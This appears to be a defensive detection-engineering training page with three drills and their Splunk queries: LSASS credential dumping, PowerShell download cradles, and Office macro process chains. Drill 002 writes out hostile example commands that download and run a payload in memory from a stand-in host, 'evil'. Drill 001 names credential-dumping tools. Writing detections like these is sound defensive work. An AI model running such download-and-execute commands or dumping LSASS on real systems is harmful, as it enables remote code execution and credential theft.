DETECTION DOJO

DRILL 001 — DETECTING LSASS ACCESS

ATTACK

Credential dumping — adversary targets LSASS process memory to extract passwords, hashes, and Kerberos tickets.

ADVERSARY TOOLS

Mimikatz, Procdump, Comsvcs.dll, Task Manager (MiniDump)

SYSTEM BEHAVIOR

A non-standard process opens a handle to lsass.exe with PROCESS_VM_READ permissions. The process then calls ReadProcessMemory to dump credential material.

TELEMETRY

Source	Event	Key Fields
Sysmon	Event ID 10 (Process Access)	SourceImage, TargetImage, GrantedAccess

DETECTION LOGIC (SPLUNK)

index=sysmon EventCode=10
TargetImage="*\\lsass.exe"
GrantedAccess IN ("0x1010", "0x1410", "0x1438", "0x143a")
NOT SourceImage IN (
  "C:\\Windows\\System32\\svchost.exe",
  "C:\\Windows\\System32\\lsass.exe",
  "C:\\Program Files\\*\\MsMpEng.exe"
)
| stats count by SourceImage, GrantedAccess, Computer
| where count > 0

FALSE POSITIVES

AV/EDR products, Windows Defender, svchost, csrss. Baseline your environment first.

MITRE ATT&CK

Tactic:     Credential Access
Technique:  T1003.001 — OS Credential Dumping: LSASS Memory

DRILL 002 — POWERSHELL DOWNLOAD CRADLES

ATTACK

Adversary uses PowerShell to download and execute payloads directly in memory, avoiding disk writes.

COMMON PATTERNS

IEX (New-Object Net.WebClient).DownloadString('http://evil/payload.ps1')
IEX (iwr 'http://evil/payload.ps1').Content
powershell -enc [BASE64_ENCODED_COMMAND]

TELEMETRY

Source	Event	Key Fields
Windows	4688 (Process Creation)	CommandLine, ParentProcessName
PowerShell	4104 (Script Block Logging)	ScriptBlockText
Sysmon	Event 1 (Process Creation)	CommandLine, ParentImage

DETECTION LOGIC (SPLUNK)

index=windows EventCode=4688
(CommandLine="*IEX*" AND CommandLine="*DownloadString*")
OR (CommandLine="*Invoke-Expression*" AND CommandLine="*WebClient*")
OR CommandLine="*powershell*-enc*"
| stats count by CommandLine, ParentProcessName, Computer

MITRE ATT&CK

Tactic:     Execution
Technique:  T1059.001 — Command and Scripting: PowerShell

DRILL 003 — SUSPICIOUS PARENT PROCESS CHAINS

ATTACK

Macro-based malware creates unusual process trees. A Word document shouldn't spawn PowerShell or cmd.exe.

SUSPICIOUS CHAINS

winword.exe → powershell.exe
winword.exe → cmd.exe → powershell.exe
excel.exe → mshta.exe
outlook.exe → powershell.exe
winword.exe → rundll32.exe

TELEMETRY

Source	Event	Key Fields
Sysmon	Event 1 (Process Creation)	Image, ParentImage, CommandLine

DETECTION LOGIC (SPLUNK)

index=sysmon EventCode=1
ParentImage IN (
  "*\\WINWORD.EXE",
  "*\\EXCEL.EXE",
  "*\\OUTLOOK.EXE",
  "*\\POWERPNT.EXE"
)
Image IN (
  "*\\powershell.exe",
  "*\\cmd.exe",
  "*\\mshta.exe",
  "*\\rundll32.exe",
  "*\\wscript.exe",
  "*\\cscript.exe"
)
| table _time Computer ParentImage Image CommandLine

MITRE ATT&CK

Tactic:     Initial Access / Execution
Technique:  T1566.001 — Phishing: Spearphishing Attachment
            T1204.002 — User Execution: Malicious File